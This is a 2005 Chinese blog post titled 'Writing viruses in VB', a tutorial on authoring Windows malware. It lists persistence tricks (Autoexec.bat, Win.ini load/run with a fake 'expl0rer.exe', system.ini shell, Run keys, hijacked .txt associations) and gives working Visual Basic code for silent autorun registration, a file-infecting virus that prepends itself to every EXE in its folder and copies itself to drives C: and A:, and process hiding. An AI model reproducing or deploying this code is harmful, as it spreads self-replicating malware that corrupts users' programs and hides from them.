正文

用VB编制病毒2005-10-23 22:28:00

【评论】 【打印】 【字体: 】 本文链接:http://blog.pfan.cn/tcmcz/6292.html

分享到:

谈起病毒的编制,大家都认为是很高深的东西。高手用的都是汇编语言,次一点的也是 VC或 C++。那么用 VB也能编病毒吗?答案是肯定的。只不过由于技术上的限制(比如VB不能对底层硬件进行直接的操作,不能生成独立的可执行文件等等),编出来的程序不可能象汇编或VC编出来的程序那么小巧和功能强大。但是VB编出来的病毒也不可小窥噢 ! 在谈病毒的编制以前,我们先说说什么是病毒。只有先把概念搞清楚了,才能编出 真正的病毒程序。关于病毒的标准解释,我就不说了,我想我也说不清楚,大家可以到 一些大的杀毒厂商的网站去看看,那里有比较完整、全面的定义。香水百合就自己的理 解来谈谈病毒。病毒最少应该满足以下的二个条件: 一、自启动和自恢复 只要机器染上病毒后,每次启动就会自动加载。如果无意中被你发现并杀掉后,病毒程 序会自己通过备份来恢复。自动运行一般是通过以下几种方法来实现的。 1.最简单的方法是通过自动批处理文件Autoexec.bat来加载。 从DOS 时代就开始玩电脑的人应该都很熟悉这个文件了。不为别的,就为游戏能够玩的 更加流畅,为了从640K基本内存中抠出更多的可用内存,都绞尽脑汁的来修改、配置这 个文件。现在到了Windows 时代,这个文件基本上已经成了被人遗忘的角落了,不过也 不能放过噢!因为被人遗忘,所以才要利用啊! 2.通过Win.ini文件来加载 [windows] load=expl0rer.exe run=expl0rer.exe 看到load和run 两个字段了,正常的情况应该是空的。但是病毒程序可以通过将这两段 写上病毒自身的名字来达到自动运行的目的。而且病毒将自身的名字改为expl0rer.exe ,注意了,是0而不是O噢!如果不细看,还以为运行的是资源管理器程序(explorer.ex e)呢! 3.通过system.ini文件来加载 [boot] shell=Explorer.exe server.exe 正常的情况下,shell后面跟的应该只有Explorer.exe 这一个变量。但是很多病毒程序 就是通过在后面加上自己的名字来实现自动运行。 4.通过在注册表中加载自动运行键值来实现 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnc e] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices] 病毒也可以通过修改注册表的上述键值来实现自我启动,而且比上面三种方法来的更加 隐蔽一点(相对普通用户而言)。一些软件就是通过修改上述地方来实现开机自动运行 的,比如超级解霸、金山毒霸等等。 5.通过修改注册表中文件关联的键值来实现 修改[HKEY_CLASSES_ROOT\txtfile\shell\open\command]中的下面键值来实现 [默认="C:\WINDOWS\NOTEPAD.EXE "%1""] 修改[HKEY_LOCAL_MACHINE\Software\CLASSES\txtfile\shell\open\command]中的下面 键值来实现 [默认="C:\WINDOWS\NOTEPAD.EXE "%1""] 我们知道,上面的键值是功能是决定TXT文件与什么程序相关联的。系统默认的情况下应 该是将TXT文件与Windows 的记事本相关联。如果我们将TXT文件与我们的病毒文件相关 联的话,那么后果就可想而知了,每当我们打开一个扩展名为TXT的文本文件后,就自动 加载了病毒程序。这一招可够狠的。但是有的朋友会说,用户每次启动计算机不一定每 次都会打本文本文件啊,这也有可能,但是用户肯定是会调用输入法的,如果我们将病 毒文件与输入法相关联的话,那么我想没有人会逃过这一劫吧!这一招才叫毒吧! 当你的机器中了病毒以后,病毒一般先会将自己进行复制。一般是复制到Windows目 录或者Windows 下的System目录,当然也可以是其它的目录了。有一类木马病毒可以通 过配置程序来进行设置,所以说备份的目录不一定是固定的。但是目的只有一个,就是 当你发现它,并将它删除以后,病毒可以通过关联的程序来进行自我恢复。这也就是为 什么病毒杀了以后,为什么还会有的原因了。 那怎样在VB中实现自启动呢?一般有两种方法,一种是通过在VB中导出一个注册表 文件,然后执行它;另外一种是通过调用API函数来实现。大家分别看看下面的两个例子 就明白了。 第一种方法:生成一个注册表文件,然后通过SHELL命令执行它,完成后删除这个注册表 文件。 Function MakeReg() On Error Resume Next Open "c:\v.reg" For Output As 1 Print #1, "REGEDIT4" Print #1, "[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion \Run]" Print #1, """Vic""=""\""c:\\dat 0.exe\""""" Close 1 Shell "regedit /s c:\v.reg" Kill "c:\v.reg" End Function 从上面的程序,我们可以看出,前面几行是在C盘的根目录生成一个"V.REG&q uot;的注册表文件。关键的地方就在SHELL命令这一行,我们可以看到在执行REGEDIT 命 令时带了一个"/S"的参数,这个参数就是在执行导入注册表文件时,不会出 现"确实要把 C:\V.REG 内的信息添加到注册表吗?"的提示信息,实现了后 台执行的效果。不再需要进行人工的干预了! 第二种方法:通过使用API函数来实现,香水百合个人比较偏向于使用这种方法。 Private Declare Function RegCreateKey& Lib "advapi32.dll" Alia s "RegCreateKeyA" (ByVal hKey&, ByVal lpszSubKey$, lphKey& ) Private Declare Function RegSetValue Lib "advapi32.dll" Alias &quo t;RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dw Type As Long, ByVal lpData As string, ByVal cbData As Long) As Long Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKe y As Long) As Long Const HKEY_LOCAL_MACHINE = &H80000002 Const REG_SZ = 1 Private Sub Form_Initialize() Dim sKeyName As String, sKeyValue As String, sKeyValueIcon As String Dim Ret As Integer, lphKey As Long sKeyName = "Software\Microsoft\Windows\CurrentVersion\Run" sKeyValue = App.Path & IIf(Len(App.Path) > 3, "\" & App .EXEName+".EXE", App.EXEName+".EXE) Ret = RegCreateKey&(HKEY_LOCAL_MACHINE, sKeyName, lphKey) '创建新的启动 项 Ret = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&) '设置键值 Ret = RegCloseKey&(HKEY_LOCAL_MACHINE) '关闭注册表 End Sub 可以看出,程序通过调用RegCreateKey、RegSetValue 和RegCloseKey这三个API函数来 实现向注册表中写入信息的功能。 关于启动的方法有很多,光我知道的就不下十几种,今天就先大概的介绍一下以上的五 种吧! 二、病毒最重要的一个特点应该是能够感染和传播。 如果一个程序只是让你的光驱不停地打开关上,或者只是让你的机器总是死机。那 么我想它算不上是一个病毒程序,只能算作具有破坏性的黑客程序罢了。那么病毒是怎 样感染可执行文件的呢?其实例子是最好的说明的说明,下面我们就通过一个例子来说 明病毒是怎样进行感染和传播的。 Option Explicit Private vbArray As String '定义一些变量和常量 Private Victim As String Private hArray As String Private CheckX As String Private Length As Long Const MySize As Integer = 18432 '病毒程序编译后的大小(可以根据实际情况来修改 ) Private iResult As Long Private hProg As Long Private idProg As Long Private iExit As Long Const STILL_ACTIVE As Long = &H103 Const PROCESS_ALL_ACCESS As Long = &H1F0FFF Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesir edAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) A s Long Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private Sub Form_Initialize() Me.Left = "0" Me.Top = "0" Me.Width = Screen.Width Me.Height = Screen.Height Dim I As Long Dim FF Dim MyPath As String '存储当前运行文件的路径 Dim MyFile As String '存储当前运行文件的文件名 FF = FreeFile '定义一个空闲的文件号 On Error Resume Next '如果发生错误,则跳到程序下一段继续执行 If Right(App.Path, 1) <> "\" Then MyPath = App.Path & "\" '路径名+"\" Else MyPath = App.Path '如果在根目录下则不需要加上"\" End If MyFile = App.EXEName & ".exe" '取得当前运行的EXE文件名 On Error GoTo ErrHandle Open MyPath & MyFile For Binary Access Read As #FF vbArray = Space$(MySize) '根据编译后的文件大小来定义一个缓存 Get #1, 1, vbArray '存储文件数据到变量中 Close #FF Victim = Dir(MyPath & "*.EXE") '找到第一个要感染的EXE文件 While Victim <> "" '查找随后的EXE文件,直到没有为止 If LCase(MyPath & Victim) <> LCase(MyPath & MyFile) Then Open Victim For Binary Access Read As #FF hArray = Space(LOF(FF)) '根据文件大小重新定义数组的大小 Get #1, 1, hArray '复制文件数据到变量中 Close #FF CheckX = Mid(hArray, Len(hArray)) '在被感染文件末尾写入一个标记,作为是否感 染病毒的标志。 If LCase(CheckX) <> "x" Then '如果标志为"X"则表示 该文件已经被感染,否则继续 Open Victim For Binary Access Write As #FF Put #FF, 1, vbArray ' Place our code in the front of the file Put #FF, MySize, hArray ' Follow it immediatley by the victims code Put #FF, LOF(FF) + 1, "x" 'Place an X at the end to show it's be en infected Close #FF 'Thats how this virus got it's name! End If Else End If Victim = Dir() '继续查找下一个可感染的文件 Wend Open MyPath & MyFile For Binary Access Read As #FF Length = (LOF(FF) - MySize) '当前文件的长度减去病毒文件长度,取得的值 ,存储到变量中。 If Length > 0 Then '如果长度大于0, 说明文件被感染,否则 说明这是一个未被感染的文件。 vbArray = Space(Length) '根据文件大小建立缓存 Get #FF, MySize, vbArray 'Get the old host data from out of this file Close #FF Open MyPath & App.EXEName & ".xvx" For Binary Access Write As #FF Put #FF, , vbArray '放置原始文件的数据到一个临时文件中 Close #FF idProg = Shell(MyPath & App.EXEName & ".xvx", vbNormalFocu s) '运行原始文件代码 hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg) '取得正在运 行的应用程序的代码号 GetExitCodeProcess hProg, iExit Do While iExit = STILL_ACTIVE '一直等待直到程序结束 DoEvents GetExitCodeProcess hProg, iExit Loop On Error Resume Next Kill MyPath & App.EXEName & ".xvx" '删除原始 文件代码 Kill MyPath & App.EXEName & ".xvx" '再次进行 删除,以确信程序已经被删除 Kill MyPath & App.EXEName & ".xvx" '再删除一 次 Else Close #1 FileCopy MyPath & MyFile, "C:\XCool.exe" '复制文件到A盘 FileCopy MyPath & MyFile, "A:\XCool.exe" '复制文件到C盘 End If End End Sub 从上面的程序及注释我们可以看出病毒是怎样进行感染和传播的了。现在你肯定会 说,原来就这么简单啊!是啊,其实很多东西看起来很复杂,不过当你真正的了解了, 才知道不过如此啊!这个病毒程序也并不特别的好,还是存在一些缺点的。比如在判断 是不是可执行的EXE 文件时,只是简单的是了DIR命令,这样容易漏掉一些扩展名不是E XE的文件,但它又确实是可执行的文件。还有,在文件复制的时候,只是简单地将文件 复制到A盘是不可取的。不过,这个程序毕竟给了我们一个编制病毒程序的思路啊。 有些病毒(主要是指木马类的程序)还具写一些特殊的功能。比如:隐藏进程。隐藏 进程在Windows9X 下是很容易实现的。只要简单地将自身注册为一个系统进程就可以从 任务栏中消失。但是在Windows NT和Windows 2000下这种方法已经失效了。不过随着技 术的发展,各种更高级的隐藏进程的方法又出现了,比如DLL 陷阱技术等等。隐藏进程 在VB下通过调用API函数也是很容易实现的。 Public Declare Function GetCurrentProcessId Lib "kernel32" () As L ong Public Declare Function RegisterServiceProcess Lib "kernel32" (ByV al dwProcessId As Long, ByVal dwType As Long) As Long Sub HideMe() Dim ret As Long ret = RegisterServiceProcess(GetCurrentProcessId, 1) End Sub Sub UnHideMe() Dim ret As Long ret = RegisterServiceProcess(GetCurrentProcessId, 0) End Sub

阅读(263) | 评论(0)


版权声明:编程爱好者网站为此博客服务提供商,如本文牵涉到版权问题,编程爱好者网站不承担相关责任,如有版权问题请直接与本文作者联系解决。谢谢!

评论

暂无评论
您需要登录后才能评论,请 登录 或者 注册